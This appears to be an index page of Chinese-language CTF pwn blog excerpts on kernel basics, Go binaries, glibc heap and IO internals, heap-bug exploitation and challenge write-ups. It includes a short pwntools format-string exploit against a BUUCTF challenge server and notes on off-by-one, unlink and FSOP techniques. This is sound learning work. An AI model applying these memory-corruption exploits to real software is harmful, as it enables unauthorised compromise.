一些题目(format和ieee标准)
题目复现float静态分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475void __fastcall __noreturn main(int a1, char **a2, char **a3){ void *v3; // rsp void *v4; // rsp double *v5; // rbx _BYTE v6[12]; // [rsp+8h] [rbp-50h] BYREF int v7; // [rsp+14h] [rbp-44h] int i; // [rsp+18h] [rbp-40h] int j; // [rsp+1Ch] [rbp-3Ch] double *v10; // [rsp+20h] [rbp-38h] void *s; // [rsp+28h] [rbp-30h] void *buf; // ...
kernel note
kernel笔记首先是要配置环境,推荐[wiki](Qemu 模拟环境 - CTF Wiki (ctf-wiki.org))和这篇文章
其中调试部分我还搁置着准备等学有所成再来实战
可以将内核看作一个巨大的elf,它又有数据段
基础知识Kernelkernel 也是一个程序,用来管理软件发出的数据 I/O 要求,将这些要求转义为指令,交给 CPU 和计算机中的其他组件处理,kernel 是现代操作系统最基本的部分。
kernel 最主要的功能有两点:
控制并与硬件进行交互
提供 application 能运行的环境
包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。
需要注意的是,kernel 的 crash 通常会引起重启。
Ring Modelintel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3。
Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。
使用 Ring Model 是为了提升系 ...
GO-Pwn
GO-PWN首先go的二进制文件分析与C/C++二进制文件分析大有不同,有些老东西都不能运用得当
我们先讲述不同的点
函数调用约定在 Go 语言中,goroutine 是一种轻量级的执行单元,用于并发执行代码。它可以看作是一种轻量级的线程,由 Go 运行时系统进行管理。与传统的线程相比,goroutine 具有更小的栈空间占用和更低的创建和销毁开销。
Go1.3版本之后则使用的是continuous stack,下面将具体分析一下这种技术。
基本原理每次执行函数调用时Go的runtime都会进行检测,若当前栈的大小不够用,则会触发“中断”,从当前函数进入到Go的运行时库,Go的运行时库会保存此时的函数上下文环境,然后分配一个新的足够大的栈空间,将旧栈的内容拷贝到新栈中,并做一些设置,使得当函数恢复运行时,函数会在新分配的栈中继续执行,仿佛整个过程都没发生过一样,这个函数会觉得自己使用的是一块大小“无限”的栈空间。
实现过程在研究Go的实现细节之前让我们先自己思考一下应该如何实现。第一步肯定要有某种机制检测到当前栈大小不够用了,这个应该是把当前的栈寄存器SP跟栈的可用栈空间的边 ...
buu做题记录
buu做题记录1算是最近得做题记录了,就是一开始的比较简单呃就挺简洁的,所以后面跳到5,6页了,算是总结吧,之后也不知道要干什么,就这样子吧
[第五空间2019 决赛]PWN5静态分析
可以看到有格式字符串漏洞,原本因为1想的是password会在栈上出现,但是并没有应该是被覆盖掉了,因此我们想到直接修改password
123456789from pwn import*#sh=process('./pwn5')sh=remote('node5.buuoj.cn',27277)sh.recvuntil(b'your name:')pal=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%10$n%11$n%12$n%13$n'sh.sendline(pal)sh.recv()sh.send(str(0x10101010))sh.interactive()
rctf-2019-babyheap12345Arch: am ...
IO函数源码阅读
IO函数详解该版本为libc-2.31
fopen_IO_new_fopen12345FILE *_IO_new_fopen (const char *filename, const char *mode){ return __fopen_internal (filename, mode, 1);}
调用__fopen_internal函数
__fopen_internal123456789101112131415161718192021222324252627FILE *__fopen_internal (const char *filename, const char *mode, int is32){ struct locked_FILE { struct _IO_FILE_plus fp;#ifdef _IO_MTSAFE_IO //没执行 _IO_lock_t lock;#endif struct _IO_wide_data wd; } *new_f = (struct locked_FILE ...
heap note
堆本篇文章摘自华庭大佬的Glibc 内存管理一书,只是插入了一些记录
什么是堆在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。
堆管理器处于用户程序与内核中间,主要做以下工作
响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序。同时,为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。
管理用户所释放的内存。一般来说,用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存的请求。
Linux 中早期的堆分配与回收由 Doug Lea 实现,但它在并行处理多个线程时,会共享进程的堆内存空间。因此,为了安全性,一个线程使用堆时,会进行加锁。然而,与此同时,加锁会导致其它线程无法使用堆,降低了内存分配和回收的高效性。同时,如果在多线程使用时,没能正确控制,也可能影 ...
堆bug利用总结
All bug的利用条件,相关检查,相关例子和小手法配合heap bug note食用
off-by-oneoff-by-one 利用思路
溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。
check高版本的unlink:
12345678910/* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); siz ...
malloc/free源码实现
细读源码“Public wrappers”(公共包装器)通常指的是在软件开发中用于封装和提供对外部(公共)接口的函数或类。这些包装器函数或类可以隐藏底层实现的细节,提供更简单、更易用的接口,以方便其他开发人员使用。
glibc-2.23首先在读源码前要先了解一些核心结构
mchunkptr是chunk的指针
malloc_state12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455struct malloc_state{ /* Serialize access. */ /* 序列化访问 */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ /* 标志位(以前在 max_fast 中) */ int flags; /* Set if the fastbin chunks contain recently inserted fre ...
pwn小知识2
在我们调试的时候总会遇到一些突然出现的heap,但是我们并不知道为什么出现,此时很大可能是因为一些函数调用的时候创建的堆块
我会记录下我遇到的所有函数虽然可能没什么用
printf()[0x1041]
fget()[0x1041]
接下来就是一些记录,没有什么规律
12fd = open("/dev/urandom", 0);read(fd, &buf, 8uLL); // 获得随机字节
123456789101112131415#include <stdio.h>#include <stdlib.h>#include <time.h>int main() { // 使用当前时间作为种子 srand(time(NULL)); // 生成随机数 int random_number = rand(); printf("Random number: %d\n", random_number); return 0 ...
2024-1-31 pwnable_bookwriter
pwnable_bookwriter执行fsop的条件:
fp->_mode<=0
fp->_IO_write_ptr>fp->_IO_write_base
或者(主要是前者)
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr>fp->_wide_data->_IO_write_bas
主要漏洞: 第一个是因为通过程序可以看出内存里只够存取8个chunk,但是在add函数中确实一个i>8的判断,而存储chunk地址的相邻位置就是存取size的地址,那么就会有一个大字节溢出覆盖
第二个是在edit函数中有一个溢出就是可以通过strlen来将size扩大,慢慢的可以有一个无穷堆溢出
第三个就是在Author更改的时候即infor函数中是通过%s来读取的这样就可以泄露一个堆的地址
静态分析12345678910111213141516171819202122232425 ...